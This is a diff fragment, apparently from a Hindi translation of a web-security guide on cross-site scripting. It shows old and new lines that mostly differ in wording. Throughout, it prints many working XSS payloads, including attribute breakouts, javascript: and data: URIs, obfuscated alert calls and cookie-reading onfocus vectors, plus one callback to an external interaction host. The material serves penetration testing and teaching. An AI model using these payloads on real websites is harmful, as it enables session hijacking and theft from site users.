2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
```html
|
||||
@ -69,12 +69,12 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
|
||||
|
||||
- यदि यह **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
- यदि **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **यूनिकोड एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -114,9 +114,9 @@ parentElement
|
||||
```
|
||||
आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
इसलिए, **विभिन्न DOM में इस भेद्यता का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वरों में मनमाने** **फाइलों** को **पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
कुछ **उदाहरण**:
|
||||
|
||||
{{#ref}}
|
||||
@ -162,15 +162,15 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
|
||||
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाई गई वैध टैग के अंदर विशेषताएँ/इवेंट्स का ब्रूट-फोर्स करना होगा** यह देखने के लिए कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
|
||||
|
||||
### टैग/इवेंट्स ब्रूट-फोर्स
|
||||
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **वैध टैग का उपयोग करके सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
|
||||
### कस्टम टैग
|
||||
|
||||
यदि आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड को निष्पादित करे**:
|
||||
यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -234,23 +234,23 @@ onerror=alert`1`
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
इन पात्रों में से अधिक [यहाँ](https://www.unicode.org/charts/normalization/) मिल सकते हैं।\
|
||||
यह जांचने के लिए कि कौन से पात्र विघटित होते हैं, [यहाँ](https://www.compart.com/en/unicode/U+2121) जांचें।
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या फॉर्म पर क्लिक करने की आवश्यकता है** जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
यदि भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ कमजोर है)।
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
यदि आप सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे कि (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल उद्धरण चिह्नों का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -295,7 +295,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Unicode एन्कोड का उपयोग करके इवेंट बायपास करें**
|
||||
**Unicode एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -303,7 +303,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
||||
```
|
||||
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
|
||||
|
||||
यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता की इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
**इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं**
|
||||
|
||||
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** उन टैग्स में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `<img>` में नहीं)
|
||||
```markup
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -357,11 +357,11 @@ _**इस मामले में, पिछले अनुभाग से H
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **payload** को एन्कोड करने के लिए **उपयोग** करने की कोशिश करते हैं, तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**।
|
||||
ध्यान दें कि यदि आप किसी भी क्रम में **दोनों** `URLencode + HTMLencode` का उपयोग करने की कोशिश करते हैं तो **payload** को एन्कोड करने के लिए यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**।
|
||||
|
||||
**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना**
|
||||
|
||||
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने** के लिए कर सकते हैं:
|
||||
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```markup
|
||||
आप एक **XSS payload को एक छिपे हुए attribute के अंदर** निष्पादित कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में एक अलग key का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS पेलोड कुछ इस तरह होगा: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -476,7 +476,7 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जिसमें अंतर्निहित स्क्रिप्ट को समझना और निष्पादित करना शामिल है, केवल बाद में किया जाता है।
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है।
|
||||
|
||||
### JS कोड के अंदर
|
||||
|
||||
@ -488,23 +488,23 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
**स्ट्रिंग्स** बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
|
||||
इसका **दुरुपयोग** किया जा सकता है:
|
||||
इसे **दुरुपयोग** किया जा सकता है:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
loop``
|
||||
```
|
||||
### एन्कोडेड कोड निष्पादन
|
||||
```markup
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript नई पंक्तियाँ (से** [**JavaScript नई पंक्ति**](#javascript-new-lines) **कला)**
|
||||
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](#javascript-new-lines) **कला)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**बिना कोष्ठक के JavaScript**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**मनमाने फ़ंक्शन (alert) कॉल**
|
||||
````javascript
|
||||
**मनमाने फ़ंक्शन (अलर्ट) कॉल**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,11 +735,11 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**यह पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -752,13 +752,13 @@ dom-xss.md
|
||||
|
||||
### कुकी XSS
|
||||
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
आप इस तकनीक का एक शानदार दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
|
||||
आप इस तकनीक का एक बड़ा दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
|
||||
|
||||
### अपने सत्र को व्यवस्थापक को भेजना
|
||||
|
||||
@ -766,7 +766,7 @@ dom-xss.md
|
||||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना, तो व्यवस्थापक आपकी सहायता करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
फिर, onfocus विशेषता डाली जाएगी और XSS होता है।
|
||||
|
||||
### विशेष संयोजन
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -832,7 +832,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
